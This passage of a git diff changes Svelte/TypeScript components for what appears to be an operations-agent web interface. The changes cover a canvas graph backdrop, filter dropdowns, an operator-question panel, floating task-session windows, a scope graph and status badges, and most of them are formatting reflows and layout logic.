dctx.setTransform(dpr, 0, 0, dpr, 0, 0)
|
||||
dctx.clearRect(0, 0, w, h)
|
||||
dctx.fillStyle = dark ? 'rgba(255,255,255,0.12)' : 'rgba(0,0,0,0.12)'
|
||||
const spacing = 12
|
||||
for (let x = spacing; x < w; x += spacing) {
|
||||
for (let y = spacing; y < h; y += spacing) {
|
||||
dctx.beginPath()
|
||||
dctx.arc(x, y, 0.7, 0, Math.PI * 2)
|
||||
dctx.fill()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function onPointerMove(e: PointerEvent) {
|
||||
if (!host) return
|
||||
const rect = host.getBoundingClientRect()
|
||||
const nx = (e.clientX - rect.left) / rect.width - 0.5 // -0.5..0.5
|
||||
const ny = (e.clientY - rect.top) / rect.height - 0.5
|
||||
targetCam = { x: -nx * 90, y: -ny * 90 } // small parallax nudge
|
||||
}
|
||||
|
||||
function resize() {
|
||||
if (!host || !canvas) return
|
||||
dpr = Math.min(window.devicePixelRatio || 1, 2)
|
||||
w = host.clientWidth
|
||||
h = host.clientHeight
|
||||
canvas.width = Math.round(w * dpr)
|
||||
canvas.height = Math.round(h * dpr)
|
||||
dotCanvas = null // force redraw on next frame
|
||||
}
|
||||
|
||||
function colorForNode(n: SimNode): string {
|
||||
return healthColor[health[n.id] ?? 'unknown']
|
||||
}
|
||||
|
||||
// Driven by setTimeout rather than requestAnimationFrame: some embedding
|
||||
// contexts (iframed previews, backgrounded-but-visible panes) report
|
||||
// document.hidden = true and browsers fully suspend rAF callbacks there,
|
||||
// which would freeze this canvas forever. setTimeout keeps ticking
|
||||
// regardless, and ~30fps is plenty for a slow ambient drift.
|
||||
function draw(t: number) {
|
||||
timer = setTimeout(() => draw(performance.now()), 33)
|
||||
if (!canvas) return
|
||||
const ctx = canvas.getContext('2d')
|
||||
if (!ctx) return
|
||||
|
||||
// ease parallax toward target
|
||||
cam.x += (targetCam.x - cam.x) * 0.05
|
||||
cam.y += (targetCam.y - cam.y) * 0.05
|
||||
|
||||
// autonomous drift (Lissajous pan + breathing zoom)
|
||||
const ts = t / 1000
|
||||
const driftX = Math.sin(ts * 0.05) * 70 + Math.sin(ts * 0.017) * 40
|
||||
const driftY = Math.cos(ts * 0.043) * 60 + Math.sin(ts * 0.023) * 30
|
||||
const zoom = 0.82 + Math.sin(ts * 0.03) * 0.03
|
||||
|
||||
const dark = getTheme() !== 'light'
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
|
||||
ctx.clearRect(0, 0, w, h)
|
||||
|
||||
if (lastDotDark !== dark) { dotCanvas = null; lastDotDark = dark }
|
||||
if (!dotCanvas) drawDots(dark)
|
||||
ctx.drawImage(dotCanvas!, 0, 0)
|
||||
|
||||
const cx = w / 2
|
||||
const cy = h / 2
|
||||
|
||||
// project a world point to screen, applying per-depth parallax
|
||||
function project(px: number, py: number, z: number) {
|
||||
const par = 0.5 + z // nearer nodes (higher z) move more
|
||||
const ox = (driftX + cam.x) * par
|
||||
const oy = (driftY + cam.y) * par
|
||||
return { x: cx + (px + ox) * zoom, y: cy + (py + oy) * zoom }
|
||||
}
|
||||
|
||||
// edges
|
||||
ctx.lineWidth = 1
|
||||
ctx.strokeStyle = dark ? 'rgba(140,175,230,0.28)' : 'rgba(60,90,140,0.22)'
|
||||
ctx.beginPath()
|
||||
for (const l of links) {
|
||||
const s = l.source as SimNode
|
||||
const tg = l.target as SimNode
|
||||
if (s.x == null || tg.x == null) continue
|
||||
const z = (s.z + tg.z) / 2
|
||||
const a = project(s.x, s.y!, z)
|
||||
const b = project(tg.x, tg.y!, z)
|
||||
const dx = b.x - a.x
|
||||
const dy = b.y - a.y
|
||||
const len = Math.max(Math.hypot(dx, dy), 1)
|
||||
const curve = Math.min(len * 0.15, 40)
|
||||
const mx = (a.x + b.x) / 2 - (dy / len) * curve
|
||||
const my = (a.y + b.y) / 2 + (dx / len) * curve
|
||||
ctx.moveTo(a.x, a.y)
|
||||
ctx.quadraticCurveTo(mx, my, b.x, b.y)
|
||||
}
|
||||
ctx.stroke()
|
||||
|
||||
// nodes (glow via radial gradient, cheap enough at this count)
|
||||
for (const n of nodes) {
|
||||
if (n.x == null || n.y == null) continue
|
||||
const p = project(n.x, n.y, n.z)
|
||||
const r = nodeRadius(n) * zoom * (0.7 + n.z * 0.6)
|
||||
const col = colorForNode(n)
|
||||
const glow = ctx.createRadialGradient(p.x, p.y, 0, p.x, p.y, r * 3.2)
|
||||
glow.addColorStop(0, hexA(col, dark ? 0.45 : 0.32))
|
||||
glow.addColorStop(1, hexA(col, 0))
|
||||
ctx.fillStyle = glow
|
||||
ctx.beginPath()
|
||||
ctx.arc(p.x, p.y, r * 3.2, 0, Math.PI * 2)
|
||||
ctx.fill()
|
||||
ctx.fillStyle = hexA(col, dark ? 0.7 : 0.55)
|
||||
ctx.beginPath()
|
||||
ctx.arc(p.x, p.y, r, 0, Math.PI * 2)
|
||||
ctx.fill()
|
||||
}
|
||||
|
||||
// legibility scrim: dim only the center band where the UI sits, taper to
|
||||
// ~nothing at the edges so the graph (and its connections) stay visible
|
||||
// in the margins instead of being crushed everywhere equally.
|
||||
const scrim = ctx.createRadialGradient(cx, cy, 0, cx, cy, Math.hypot(cx, cy))
|
||||
const base = dark ? '13,17,23' : '255,255,255'
|
||||
scrim.addColorStop(0, `rgba(${base},0.68)`)
|
||||
scrim.addColorStop(0.45, `rgba(${base},0.32)`)
|
||||
scrim.addColorStop(1, `rgba(${base},0.02)`)
|
||||
ctx.fillStyle = scrim
|
||||
ctx.fillRect(0, 0, w, h)
|
||||
}
|
||||
|
||||
// "#rrggbb" + alpha -> rgba()
|
||||
function hexA(hex: string, a: number): string {
|
||||
const n = parseInt(hex.slice(1), 16)
|
||||
return `rgba(${(n >> 16) & 255},${(n >> 8) & 255},${n & 255},${a})`
|
||||
}
|
||||
|
||||
onMount(() => {
|
||||
loadGraph()
|
||||
resize()
|
||||
const ro = new ResizeObserver(resize)
|
||||
if (host) ro.observe(host)
|
||||
window.addEventListener('pointermove', onPointerMove)
|
||||
timer = setTimeout(() => draw(performance.now()), 33)
|
||||
return () => {
|
||||
clearTimeout(timer)
|
||||
ro.disconnect()
|
||||
window.removeEventListener('pointermove', onPointerMove)
|
||||
}
|
||||
})
|
||||
</script>
|
||||
|
||||
<div bind:this={host} class="pointer-events-none absolute inset-0 overflow-hidden">
|
||||
<canvas bind:this={canvas} class="h-full w-full"></canvas>
|
||||
</div>
|
||||
@@ -1,64 +0,0 @@
|
||||
<script lang="ts">
|
||||
import * as DropdownMenu from '$lib/components/ui/dropdown-menu'
|
||||
import { Button } from '$lib/components/ui/button'
|
||||
import ChevronDownIcon from '@lucide/svelte/icons/chevron-down'
|
||||
|
||||
let {
|
||||
label,
|
||||
options,
|
||||
selected = $bindable(),
|
||||
colorFor
|
||||
}: {
|
||||
label: string
|
||||
options: string[]
|
||||
selected: Set<string>
|
||||
colorFor?: (option: string) => string
|
||||
} = $props()
|
||||
|
||||
function toggle(opt: string) {
|
||||
const next = new Set(selected)
|
||||
if (next.has(opt)) next.delete(opt)
|
||||
else next.add(opt)
|
||||
selected = next
|
||||
}
|
||||
|
||||
const allSelected = $derived(options.length > 0 && options.every((o) => selected.has(o)))
|
||||
</script>
|
||||
|
||||
<DropdownMenu.Root>
|
||||
<DropdownMenu.Trigger>
|
||||
{#snippet child({ props })}
|
||||
<Button {...props} variant="outline" size="sm" class="h-8 gap-1.5">
|
||||
{label}
|
||||
<span class="text-muted-foreground">{selected.size}/{options.length}</span>
|
||||
<ChevronDownIcon class="size-3.5 text-muted-foreground" />
|
||||
</Button>
|
||||
{/snippet}
|
||||
</DropdownMenu.Trigger>
|
||||
<DropdownMenu.Content class="max-h-80 w-56 overflow-y-auto" align="start">
|
||||
<DropdownMenu.Item
|
||||
closeOnSelect={false}
|
||||
onSelect={() => { selected = allSelected ? new Set() : new Set(options) }}
|
||||
class="text-xs text-muted-foreground"
|
||||
>
|
||||
{allSelected ? 'Deselect all' : 'Select all'}
|
||||
</DropdownMenu.Item>
|
||||
<DropdownMenu.Separator />
|
||||
{#each options as opt}
|
||||
<DropdownMenu.CheckboxItem
|
||||
closeOnSelect={false}
|
||||
checked={selected.has(opt)}
|
||||
onCheckedChange={() => toggle(opt)}
|
||||
class="text-xs"
|
||||
>
|
||||
{#if colorFor}
|
||||
<span class="size-2 shrink-0 rounded-full" style="background: {colorFor(opt)}"></span>
|
||||
{/if}
|
||||
{opt}
|
||||
</DropdownMenu.CheckboxItem>
|
||||
{/each}
|
||||
{#if options.length === 0}
|
||||
<p class="px-2 py-1.5 text-xs text-muted-foreground">No types loaded yet.</p>
|
||||
{/if}
|
||||
</DropdownMenu.Content>
|
||||
</DropdownMenu.Root>
|
||||
@@ -5,7 +5,8 @@
|
||||
import CircleHelpIcon from '@lucide/svelte/icons/circle-help'
|
||||
|
||||
// Prop-driven (not store-imported) — see SessionGraph.svelte for why.
|
||||
let { sessionId, question }: { sessionId: string | null; question: SessionQuestion | null } = $props()
|
||||
let { sessionId, question }: { sessionId: string | null; question: SessionQuestion | null } =
|
||||
$props()
|
||||
|
||||
let freeText = $state('')
|
||||
let submitting = $state(false)
|
||||
@@ -26,7 +27,7 @@
|
||||
|
||||
{#if question}
|
||||
{@const q = question}
|
||||
<div class="flex shrink-0 flex-col gap-2 border-b bg-warning/5 px-3 py-2.5">
|
||||
<div class="flex flex-col gap-2 rounded-2xl border border-warning/30 bg-warning/5 px-3.5 py-3">
|
||||
<div class="flex items-start gap-2">
|
||||
<CircleHelpIcon class="mt-0.5 size-4 shrink-0 text-warning" />
|
||||
<div class="min-w-0 flex-1">
|
||||
@@ -48,7 +49,13 @@
|
||||
{#if q.context.options?.length}
|
||||
<div class="ml-6 flex flex-wrap gap-1.5">
|
||||
{#each q.context.options as opt}
|
||||
<Button size="sm" variant="outline" class="h-7 px-2.5 text-xs" disabled={submitting} onclick={() => submit(opt)}>
|
||||
<Button
|
||||
size="sm"
|
||||
variant="outline"
|
||||
class="h-7 px-2.5 text-xs"
|
||||
disabled={submitting}
|
||||
onclick={() => submit(opt)}
|
||||
>
|
||||
{opt}
|
||||
</Button>
|
||||
{/each}
|
||||
@@ -69,7 +76,12 @@
|
||||
}
|
||||
}}
|
||||
/>
|
||||
<Button size="sm" class="h-7 px-2.5 text-xs" disabled={!freeText.trim() || submitting} onclick={() => submit(freeText)}>
|
||||
<Button
|
||||
size="sm"
|
||||
class="h-7 px-2.5 text-xs"
|
||||
disabled={!freeText.trim() || submitting}
|
||||
onclick={() => submit(freeText)}
|
||||
>
|
||||
Send
|
||||
</Button>
|
||||
</div>
|
||||
|
||||
@@ -1,13 +1,21 @@
|
||||
<script lang="ts">
|
||||
// Floating-window content for a task/session — the per-window counterpart
|
||||
// to the main Chat page (thread + rail), fully self-contained per
|
||||
// Floating-window content for a task/session — self-contained per
|
||||
// sessionId via chat.ts's chatFor()/loadSessionChat()/sendSessionMessage()
|
||||
// and workspace.ts's workspaceFor()/startSessionWorkspace(), so several of
|
||||
// these can be open (and independently live) at once without the "which
|
||||
// one's on screen" guarding the main page's singleton stores need.
|
||||
// these can be open (and independently live) at once.
|
||||
import { onDestroy, onMount } from 'svelte'
|
||||
import { Pane, Splitpanes } from 'svelte-splitpanes'
|
||||
import { chatFor, loadSessionChat, sendSessionMessage, cancelSessionStream, stopSessionPolling, dismissError, chatErrors } from '$lib/stores/chat'
|
||||
import {
|
||||
chatFor,
|
||||
loadSessionChat,
|
||||
sendSessionMessage,
|
||||
cancelSessionStream,
|
||||
stopSessionPolling,
|
||||
dismissError,
|
||||
chatErrors
|
||||
} from '$lib/stores/chat'
|
||||
import { activityLogFor } from '$lib/stores/activity'
|
||||
import { workspaceFor, startSessionWorkspace } from '$lib/stores/workspace'
|
||||
import ChatThread from '$lib/components/ChatThread.svelte'
|
||||
import TaskContextPanel from '$lib/components/TaskContextPanel.svelte'
|
||||
|
||||
@@ -16,20 +24,59 @@
|
||||
// Svelte's `$store` auto-subscription only works on a plain identifier
|
||||
// bound directly to a store, not a member expression — chatFor() returns
|
||||
// an object of stores, so pull each one out into its own identifier here.
|
||||
// sessionId is a stable prop (one per window mount, never changes), so
|
||||
// capturing it at init is safe and intended.
|
||||
// eslint-disable-next-line svelte/valid-compile
|
||||
const chat = chatFor(sessionId)
|
||||
const chatMessages = chat.messages
|
||||
const chatStreaming = chat.streaming
|
||||
const chatConnectionState = chat.connectionState
|
||||
const chatError = chat.error
|
||||
const chatNotFound = chat.notFound
|
||||
// eslint-disable-next-line svelte/valid-compile
|
||||
const sessionActivityLog = activityLogFor(sessionId)
|
||||
// Started here (rather than left to TaskContextPanel's own onMount) so the
|
||||
// workspace is already tracking touched entities/plan/questions before the
|
||||
// context rail ever mounts — it needs that live even while the rail stays
|
||||
// hidden (see hasContext below).
|
||||
// eslint-disable-next-line svelte/valid-compile
|
||||
const workspace = workspaceFor(sessionId)
|
||||
// eslint-disable-next-line svelte/valid-compile
|
||||
const touchedEntities = workspace.touched
|
||||
// eslint-disable-next-line svelte/valid-compile
|
||||
const openQuestion = workspace.openQuestion
|
||||
let loading = $state(true)
|
||||
|
||||
// The context rail (Scope/Activity) is only worth its screen space once
|
||||
// there's something in it — a brand-new task otherwise opens to an empty
|
||||
// "entities appear here" placeholder next to an equally empty activity
|
||||
// list. Show it the moment either has real content, and keep it shown
|
||||
// from then on (no flicker back to hidden if e.g. touched entities later
|
||||
// expire). An open question does NOT gate this anymore — it renders
|
||||
// inline in the chat thread itself (see ChatThread's `question` prop
|
||||
// below), not in this rail.
|
||||
let hasContext = $state(false)
|
||||
$effect(() => {
|
||||
if (!hasContext && ($sessionActivityLog.length > 0 || $touchedEntities.length > 0)) {
|
||||
hasContext = true
|
||||
}
|
||||
})
|
||||
|
||||
// startSessionWorkspace's cleanup is registered via onDestroy below rather
|
||||
// than returned from this callback — onMount ignores a returned function
|
||||
// once the callback is async (its return value is a Promise, not the
|
||||
// cleanup itself).
|
||||
const stopWorkspace = startSessionWorkspace(sessionId)
|
||||
|
||||
onMount(async () => {
|
||||
await loadSessionChat(sessionId)
|
||||
loading = false
|
||||
})
|
||||
|
||||
onDestroy(() => stopSessionPolling(sessionId))
|
||||
onDestroy(() => {
|
||||
stopSessionPolling(sessionId)
|
||||
stopWorkspace()
|
||||
})
|
||||
|
||||
// Resizable right rail — sized smaller by default since task windows open
|
||||
// narrower than the full page.
|
||||
@@ -38,13 +85,15 @@
|
||||
|
||||
<div class="flex h-full min-h-0">
|
||||
{#if loading}
|
||||
<div class="flex flex-1 items-center justify-center text-xs text-muted-foreground">Loading…</div>
|
||||
<div class="flex flex-1 items-center justify-center text-xs text-muted-foreground">
|
||||
Loading…
|
||||
</div>
|
||||
{:else if $chatNotFound}
|
||||
<div class="flex flex-1 flex-col items-center justify-center gap-1 p-6 text-center">
|
||||
<p class="text-sm text-muted-foreground">Task not found.</p>
|
||||
<p class="text-xs text-muted-foreground/70">It may have been deleted.</p>
|
||||
</div>
|
||||
{:else}
|
||||
{:else if hasContext}
|
||||
<Splitpanes theme="oikos-theme" dblClickSplitter={false}>
|
||||
<Pane>
|
||||
<ChatThread
|
||||
@@ -53,6 +102,9 @@
|
||||
connectionState={$chatConnectionState}
|
||||
error={$chatError}
|
||||
chatErrors={$chatErrors}
|
||||
activityLog={sessionActivityLog}
|
||||
{sessionId}
|
||||
question={$openQuestion}
|
||||
onSend={(text) => sendSessionMessage(sessionId, text)}
|
||||
onCancel={() => cancelSessionStream(sessionId)}
|
||||
onReconnect={() => loadSessionChat(sessionId)}
|
||||
@@ -63,5 +115,20 @@
|
||||
<TaskContextPanel {sessionId} />
|
||||
</Pane>
|
||||
</Splitpanes>
|
||||
{:else}
|
||||
<ChatThread
|
||||
messages={$chatMessages}
|
||||
streaming={$chatStreaming}
|
||||
connectionState={$chatConnectionState}
|
||||
error={$chatError}
|
||||
chatErrors={$chatErrors}
|
||||
activityLog={sessionActivityLog}
|
||||
{sessionId}
|
||||
question={$openQuestion}
|
||||
onSend={(text) => sendSessionMessage(sessionId, text)}
|
||||
onCancel={() => cancelSessionStream(sessionId)}
|
||||
onReconnect={() => loadSessionChat(sessionId)}
|
||||
onDismissError={dismissError}
|
||||
/>
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
@@ -18,7 +18,11 @@
|
||||
// Prop-driven (not store-imported) so this can render either the main
|
||||
// page's global "current session" data or a floating task window's own
|
||||
// per-session data — see TaskContextPanel.svelte, which supplies both.
|
||||
let { messages, touched, healthDiffs }: { messages: ChatMessage[]; touched: TouchedEntity[]; healthDiffs: HealthDiff[] } = $props()
|
||||
let {
|
||||
messages,
|
||||
touched,
|
||||
healthDiffs
|
||||
}: { messages: ChatMessage[]; touched: TouchedEntity[]; healthDiffs: HealthDiff[] } = $props()
|
||||
|
||||
// SVG ids are document-global, not scoped to this <svg> — several task
|
||||
// windows can each have their own Scope graph open at once, and without a
|
||||
@@ -138,7 +142,12 @@
|
||||
const curSlugs = new Set(current.map((n) => n.slug))
|
||||
|
||||
let changed = desiredSlugs.size !== curSlugs.size
|
||||
if (!changed) for (const s of desiredSlugs) if (!curSlugs.has(s)) { changed = true; break }
|
||||
if (!changed)
|
||||
for (const s of desiredSlugs)
|
||||
if (!curSlugs.has(s)) {
|
||||
changed = true
|
||||
break
|
||||
}
|
||||
if (!changed) return
|
||||
|
||||
const bySlug = new Map(current.map((n) => [n.slug, n]))
|
||||
@@ -178,10 +187,19 @@
|
||||
return
|
||||
}
|
||||
sim = forceSimulation(nodes)
|
||||
.force('link', forceLink<Node, Edge>(links).id((n) => n.slug).distance(48).strength(0.5))
|
||||
.force(
|
||||
'link',
|
||||
forceLink<Node, Edge>(links)
|
||||
.id((n) => n.slug)
|
||||
.distance(48)
|
||||
.strength(0.5)
|
||||
)
|
||||
.force('charge', forceManyBody().strength(-150).distanceMax(240))
|
||||
.force('center', forceCenter(cw / 2, ch / 2))
|
||||
.force('collide', forceCollide<Node>((n) => nodeRadius(n) + 6))
|
||||
.force(
|
||||
'collide',
|
||||
forceCollide<Node>((n) => nodeRadius(n) + 6)
|
||||
)
|
||||
.force('x', forceX(cw / 2).strength(0.06))
|
||||
.force('y', forceY(ch / 2).strength(0.06))
|
||||
.velocityDecay(0.34)
|
||||
@@ -232,7 +250,9 @@
|
||||
unknown: 'var(--muted-foreground)'
|
||||
}
|
||||
function nodeColor(n: Node): string {
|
||||
return n.health ? healthColor[n.health] ?? 'var(--muted-foreground)' : 'var(--muted-foreground)'
|
||||
return n.health
|
||||
? (healthColor[n.health] ?? 'var(--muted-foreground)')
|
||||
: 'var(--muted-foreground)'
|
||||
}
|
||||
function nodeRadius(n: Node): number {
|
||||
return 6 + Math.min(Math.sqrt(n.degree) * 1.5, 6)
|
||||
@@ -306,10 +326,17 @@
|
||||
const selectedRelations = $derived(
|
||||
selected
|
||||
? links
|
||||
.filter((l) => endpointSlug(l.source) === selected!.slug || endpointSlug(l.target) === selected!.slug)
|
||||
.filter(
|
||||
(l) =>
|
||||
endpointSlug(l.source) === selected!.slug || endpointSlug(l.target) === selected!.slug
|
||||
)
|
||||
.map((l) => {
|
||||
const outgoing = endpointSlug(l.source) === selected!.slug
|
||||
return { dir: outgoing ? '→' : '←', type: l.type, other: outgoing ? endpointSlug(l.target) : endpointSlug(l.source) }
|
||||
return {
|
||||
dir: outgoing ? '→' : '←',
|
||||
type: l.type,
|
||||
other: outgoing ? endpointSlug(l.target) : endpointSlug(l.source)
|
||||
}
|
||||
})
|
||||
: []
|
||||
)
|
||||
@@ -317,7 +344,9 @@
|
||||
|
||||
<aside class="flex h-full min-h-0 flex-col bg-card/40">
|
||||
{#if nowTouching}
|
||||
<div class="flex shrink-0 items-center gap-1.5 border-b bg-primary/5 px-3 py-1.5 text-[11px] text-primary">
|
||||
<div
|
||||
class="flex shrink-0 items-center gap-1.5 border-b bg-primary/5 px-3 py-1.5 text-[11px] text-primary"
|
||||
>
|
||||
<span class="size-1.5 animate-pulse rounded-full bg-primary"></span>
|
||||
Now touching <code class="font-mono">{nowTouching.slug}</code>
|
||||
</div>
|
||||
@@ -325,22 +354,85 @@
|
||||
|
||||
<div bind:this={container} class="relative min-h-0 flex-1 overflow-hidden">
|
||||
{#if nodes.length === 0}
|
||||
<div class="pointer-events-none absolute inset-0 flex flex-col items-center justify-center gap-4 px-6 text-center">
|
||||
<div
|
||||
class="pointer-events-none absolute inset-0 flex flex-col items-center justify-center gap-4 px-6 text-center"
|
||||
>
|
||||
<svg viewBox="0 0 120 120" class="size-24 text-muted-foreground/40" fill="none">
|
||||
<circle cx="60" cy="60" r="6" fill="currentColor">
|
||||
<animate attributeName="opacity" values="0.4;1;0.4" dur="2.4s" repeatCount="indefinite" />
|
||||
<animate
|
||||
attributeName="opacity"
|
||||
values="0.4;1;0.4"
|
||||
dur="2.4s"
|
||||
repeatCount="indefinite"
|
||||
/>
|
||||
</circle>
|
||||
<g stroke="currentColor" stroke-width="1" opacity="0.5">
|
||||
<line x1="60" y1="60" x2="26" y2="34"><animate attributeName="opacity" values="0.1;0.5;0.1" dur="3s" repeatCount="indefinite" /></line>
|
||||
<line x1="60" y1="60" x2="96" y2="40"><animate attributeName="opacity" values="0.1;0.5;0.1" dur="3.4s" repeatCount="indefinite" /></line>
|
||||
<line x1="60" y1="60" x2="34" y2="92"><animate attributeName="opacity" values="0.1;0.5;0.1" dur="2.8s" repeatCount="indefinite" /></line>
|
||||
<line x1="60" y1="60" x2="92" y2="90"><animate attributeName="opacity" values="0.1;0.5;0.1" dur="3.1s" repeatCount="indefinite" /></line>
|
||||
<line x1="60" y1="60" x2="26" y2="34"
|
||||
><animate
|
||||
attributeName="opacity"
|
||||
values="0.1;0.5;0.1"
|
||||
dur="3s"
|
||||
repeatCount="indefinite"
|
||||
/></line
|
||||
>
|
||||
<line x1="60" y1="60" x2="96" y2="40"
|
||||
><animate
|
||||
attributeName="opacity"
|
||||
values="0.1;0.5;0.1"
|
||||
dur="3.4s"
|
||||
repeatCount="indefinite"
|
||||
/></line
|
||||
>
|
||||
<line x1="60" y1="60" x2="34" y2="92"
|
||||
><animate
|
||||
attributeName="opacity"
|
||||
values="0.1;0.5;0.1"
|
||||
dur="2.8s"
|
||||
repeatCount="indefinite"
|
||||
/></line
|
||||
>
|
||||
<line x1="60" y1="60" x2="92" y2="90"
|
||||
><animate
|
||||
attributeName="opacity"
|
||||
values="0.1;0.5;0.1"
|
||||
dur="3.1s"
|
||||
repeatCount="indefinite"
|
||||
/></line
|
||||
>
|
||||
</g>
|
||||
<g fill="currentColor">
|
||||
<circle cx="26" cy="34" r="3.5"><animate attributeName="opacity" values="0.2;0.7;0.2" dur="3s" repeatCount="indefinite" /></circle>
|
||||
<circle cx="96" cy="40" r="3.5"><animate attributeName="opacity" values="0.2;0.7;0.2" dur="3.4s" repeatCount="indefinite" /></circle>
|
||||
<circle cx="34" cy="92" r="3.5"><animate attributeName="opacity" values="0.2;0.7;0.2" dur="2.8s" repeatCount="indefinite" /></circle>
|
||||
<circle cx="92" cy="90" r="3.5"><animate attributeName="opacity" values="0.2;0.7;0.2" dur="3.1s" repeatCount="indefinite" /></circle>
|
||||
<circle cx="26" cy="34" r="3.5"
|
||||
><animate
|
||||
attributeName="opacity"
|
||||
values="0.2;0.7;0.2"
|
||||
dur="3s"
|
||||
repeatCount="indefinite"
|
||||
/></circle
|
||||
>
|
||||
<circle cx="96" cy="40" r="3.5"
|
||||
><animate
|
||||
attributeName="opacity"
|
||||
values="0.2;0.7;0.2"
|
||||
dur="3.4s"
|
||||
repeatCount="indefinite"
|
||||
/></circle
|
||||
>
|
||||
<circle cx="34" cy="92" r="3.5"
|
||||
><animate
|
||||
attributeName="opacity"
|
||||
values="0.2;0.7;0.2"
|
||||
dur="2.8s"
|
||||
repeatCount="indefinite"
|
||||
/></circle
|
||||
>
|
||||
<circle cx="92" cy="90" r="3.5"
|
||||
><animate
|
||||
attributeName="opacity"
|
||||
values="0.2;0.7;0.2"
|
||||
dur="3.1s"
|
||||
repeatCount="indefinite"
|
||||
/></circle
|
||||
>
|
||||
</g>
|
||||
</svg>
|
||||
<p class="max-w-[16rem] text-xs leading-relaxed text-muted-foreground">
|
||||
@@ -394,7 +486,8 @@
|
||||
{#if node.x != null && node.y != null}
|
||||
{@const r = nodeRadius(node)}
|
||||
{@const isSel = selected?.slug === node.slug}
|
||||
{@const dim = selected && !isSel && !selectedRelations.some((rel) => rel.other === node.slug)}
|
||||
{@const dim =
|
||||
selected && !isSel && !selectedRelations.some((rel) => rel.other === node.slug)}
|
||||
{@const isTouched = node.slug in touchedBySlug}
|
||||
{@const diff = diffBySlug[node.slug]}
|
||||
<g
|
||||
@@ -410,12 +503,33 @@
|
||||
<circle r={r + 5} fill={nodeColor(node)} opacity="0.25" />
|
||||
{/if}
|
||||
{#if isTouched}
|
||||
<circle r={r + 4} fill="none" stroke="var(--primary)" stroke-width="1.5" opacity="0.8">
|
||||
<animate attributeName="r" values="{r + 3};{r + 8};{r + 3}" dur="1.6s" repeatCount="indefinite" />
|
||||
<animate attributeName="opacity" values="0.8;0.1;0.8" dur="1.6s" repeatCount="indefinite" />
|
||||
<circle
|
||||
r={r + 4}
|
||||
fill="none"
|
||||
stroke="var(--primary)"
|
||||
stroke-width="1.5"
|
||||
opacity="0.8"
|
||||
>
|
||||
<animate
|
||||
attributeName="r"
|
||||
values="{r + 3};{r + 8};{r + 3}"
|
||||
dur="1.6s"
|
||||
repeatCount="indefinite"
|
||||
/>
|
||||
<animate
|
||||
attributeName="opacity"
|
||||
values="0.8;0.1;0.8"
|
||||
dur="1.6s"
|
||||
repeatCount="indefinite"
|
||||
/>
|
||||
</circle>
|
||||
{/if}
|
||||
<circle r={r} fill={nodeColor(node)} stroke={isSel ? 'var(--foreground)' : 'var(--background)'} stroke-width={isSel ? 2 : 1.5} />
|
||||
<circle
|
||||
{r}
|
||||
fill={nodeColor(node)}
|
||||
stroke={isSel ? 'var(--foreground)' : 'var(--background)'}
|
||||
stroke-width={isSel ? 2 : 1.5}
|
||||
/>
|
||||
<text
|
||||
y={r + 10}
|
||||
text-anchor="middle"
|
||||
|
||||
@@ -12,7 +12,11 @@
|
||||
<svg viewBox="0 0 24 24" class={className} fill="none" aria-hidden="true">
|
||||
{#each Array.from({ length: TICKS }) as _, i (i)}
|
||||
<rect
|
||||
x="11" y="1.5" width="2" height="6" rx="1"
|
||||
x="11"
|
||||
y="1.5"
|
||||
width="2"
|
||||
height="6"
|
||||
rx="1"
|
||||
fill="currentColor"
|
||||
opacity="0.15"
|
||||
transform="rotate({i * (360 / TICKS)} 12 12)"
|
||||
|
||||
50
web/src/lib/components/StatusBadge.svelte
Normal file
@@ -0,0 +1,50 @@
|
||||
<script lang="ts">
|
||||
import { Badge } from '$lib/components/ui/badge'
|
||||
|
||||
type StatusKind = 'risk' | 'severity' | 'execution' | 'type' | 'default'
|
||||
|
||||
let {
|
||||
value,
|
||||
kind = 'default',
|
||||
class: className
|
||||
}: {
|
||||
value: string
|
||||
kind?: StatusKind
|
||||
class?: string
|
||||
} = $props()
|
||||
|
||||
const variantMap: Record<
|
||||
StatusKind,
|
||||
Record<string, 'default' | 'secondary' | 'destructive' | 'outline'>
|
||||
> = {
|
||||
risk: {
|
||||
destructive: 'destructive',
|
||||
config_mutation: 'secondary'
|
||||
},
|
||||
severity: {
|
||||
critical: 'destructive',
|
||||
warning: 'secondary',
|
||||
info: 'default'
|
||||
},
|
||||
execution: {
|
||||
failed: 'destructive',
|
||||
denied: 'destructive',
|
||||
revoked: 'destructive',
|
||||
cancelled: 'destructive',
|
||||
completed: 'default',
|
||||
running: 'secondary',
|
||||
approved: 'secondary'
|
||||
},
|
||||
type: {
|
||||
runbook: 'secondary',
|
||||
investigation: 'default'
|
||||
},
|
||||
default: {}
|
||||
}
|
||||
|
||||
function variant(): 'default' | 'secondary' | 'destructive' | 'outline' {
|
||||
return variantMap[kind]?.[value] ?? (kind === 'default' ? 'default' : 'outline')
|
||||
}
|
||||
</script>
|
||||
|
||||
<Badge variant={variant()} class={className}>{value}</Badge>
|
||||
@@ -1,35 +1,38 @@
|
||||
<script lang="ts">
|
||||
import { onMount } from 'svelte'
|
||||
import { Pane, Splitpanes } from 'svelte-splitpanes'
|
||||
import { startWorkspace, startSessionWorkspace, planSteps, currentTask, openQuestion, touched, healthDiffs, workspaceFor, taskFor } from '$lib/stores/workspace'
|
||||
import { streaming, messages, currentSession, chatFor } from '$lib/stores/chat'
|
||||
import {
|
||||
startWorkspace,
|
||||
planSteps,
|
||||
currentTask,
|
||||
touched,
|
||||
healthDiffs,
|
||||
workspaceFor,
|
||||
taskFor
|
||||
} from '$lib/stores/workspace'
|
||||
import { streaming, messages, chatFor } from '$lib/stores/chat'
|
||||
import { activityLog, activityLogFor } from '$lib/stores/activity'
|
||||
import OperatorQuestion from './OperatorQuestion.svelte'
|
||||
import SessionGraph from './SessionGraph.svelte'
|
||||
import ActivityTimeline from './ActivityTimeline.svelte'
|
||||
import UnifiedTimeline from './UnifiedTimeline.svelte'
|
||||
import ChevronDownIcon from '@lucide/svelte/icons/chevron-down'
|
||||
import ChevronRightIcon from '@lucide/svelte/icons/chevron-right'
|
||||
import MilestoneIcon from '@lucide/svelte/icons/milestone'
|
||||
import Spinner from './Spinner.svelte'
|
||||
import CircleIcon from '@lucide/svelte/icons/circle'
|
||||
import CircleCheckIcon from '@lucide/svelte/icons/circle-check'
|
||||
import CircleXIcon from '@lucide/svelte/icons/circle-x'
|
||||
import CircleSlashIcon from '@lucide/svelte/icons/circle-slash'
|
||||
import CirclePauseIcon from '@lucide/svelte/icons/circle-pause'
|
||||
|
||||
